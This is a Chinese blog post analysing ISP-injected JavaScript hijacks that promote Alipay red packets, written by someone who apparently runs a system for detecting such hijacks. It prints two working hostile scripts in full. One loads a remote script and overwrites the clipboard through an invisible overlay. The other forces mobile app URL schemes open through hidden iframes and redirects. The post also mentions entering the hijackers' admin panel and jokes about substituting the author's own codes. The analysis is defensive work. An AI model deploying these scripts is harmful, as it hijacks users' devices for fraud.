反运营商劫持系统上线半年,期间分析过一些典型的劫持案例,由于最近支付宝红包相关的劫持事件越来越多,于是深入研究了下,发现不少有趣的网站。
整理了部分笔记,作为运营商劫持系列的第一篇文章蹭蹭热点。

拳打剪贴板

先看看比较简单的劫持代码:

(function(){
    var h = document.getElementsByTagName('head')[0];
    var a = document.createElement('script');
    a.src = 'http://xxxx.b0.upaiyun.com/xxxx.js';
    a.onload = function(){
        document.body.insertAdjacentHTML("beforeEnd", '<div id="__btn_" style="position:absolute;filter:alpha(opacity=0);opacity:0;-moz-opacity:0;left:0;top:0;background:#CDEAF6;width:' + document.documentElement.clientWidth + 'px;height:' + document.documentElement.clientHeight + 'px;z-index:233333" data-clipboard-text="快来领取支付宝跨年红包!1月1日起还有机会额外获得专享红包哦!复制此消息,打开最新版支付宝就能领取!xxxxxxxx"></div>');
        var btn = document.getElementById('__btn_');
        var clipboard = new Clipboard(btn);
        clipboard.on('success', function(e) {
            var b = document.getElementById('__btn_');
            b.parentNode.removeChild(b);
        });
        clipboard.on('error', function(e) {
            var b = document.getElementById('__btn_');
            b.parentNode.removeChild(b);
        });
    };
    if (h) {
        h.appendChild(a);
    }
})();

这段代码的功能很明显是覆盖剪贴板内容为支付宝红包码。
值得注意的是,劫持的 JS 是托管在又拍云下的,一定程度上可以绕过某些检查机制。
比如刚开始我准备把各大 CDN 的子域名都加进白名单,后来发现不少恶意 JS 都放在 CDN 上。
还有些劫持链接类似 https://baidustatic.com.xxx.com/js/jquery.min.js,检查域名后缀或字符串是否存在都是不靠谱的。

脚踢 Scheme

然后是一段高端点的劫持代码:

var schemas = ["alipays://platformapi/startapp?saId=10000007&qrcode=xxxxxx","baiduboxapp://utils?action=sendIntent&params=xxxx","iqiyi://mobile/home?ftype=xxxx","mogujie://open?url=https%3A%2F%2Fact.mogujie.com%2Fxxxxxx","sinaweibo://pageinfo?containerid=xxxxx"];

function openschema(index) {
    var l = document.createElement("a");
    l.href = schemas[index];
    l.style.display = "none";
    document.body.appendChild(l);
    l.click();
    document.removeEventListener("touchend", openschema, false);
    setCookie("hasup"+index, "up", 1);
}

function setCookie(name, value, Days) {
    if (Days == null || Days == '') {
        Days = 1;
    }
    var exp = new Date();
    exp.setTime(exp.getTime() + Days * 12 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + "; path=/;expires=" + exp.toGMTString();
}

function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg))
        return unescape(arr[2]);
    else
        return null;
}

;
(function (a, d, b, e) {
    if (/ios|ipad|iphone|itouch|android|linux/i.test(d.userAgent)) {
        var round = Math.round(Math.random() * (schemas.length - 1));
        foo(getCookie("hasup"+round), round);
    }
    function foo(val, index) {
        if (val == null) {
            if (/android|linux/i.test(d.userAgent)) {
                try {
                    var c = b.createElement("iframe");
                    c.src = a[index];
                    c.style.display = "none";
                    b.body.appendChild(c);
                    b.addEventListener("touchend", openschema(index), false);
                } catch (g) {}
            } else {
                try {
                    e.replace(a[index])
                } catch (g) {
                    try {
                        e.href = a[index]
                    } catch (h) {}
                }
                setCookie("hasup" + index, "up", 1);
            }
        }
    };
})(schemas, navigator, document, window.location);

直接调用手机 APP 的 URL Scheme,达到的效果就是自动跳转到支付宝领红包,或是打开其他应用里的推广。
(说起来前不久的应用克隆漏洞用支付宝做演示,其中的一环也是利用 URL Scheme 接触到 File 域)

数据管理系统

在分析一个混淆后的 JS 劫持文件时发现了个神秘的网站:

admin.png

进入后台,在库管理功能中有针对不同地区运营商的配置:

1516547260878.jpg

以某市移动为例:

yd.png

其关键字实际为淘宝的口令:

taobao.png

而 custom 的配置里关键字很明显是支付宝红包码:

custom.png

进一步研究发现,该劫持系统与多个劫持域名有关,单配置每日劫持量就有数百万。
其劫持代码可根据不同用户的后台配置作出不同的劫持行为,可谓非常先进了。
(如果把红包码换成自己的是不是能日入上万 XD)

最后,对于某些名曰流量优化实际上与运营商狼狈为奸的「互联网信息技术公司」表示遗憾。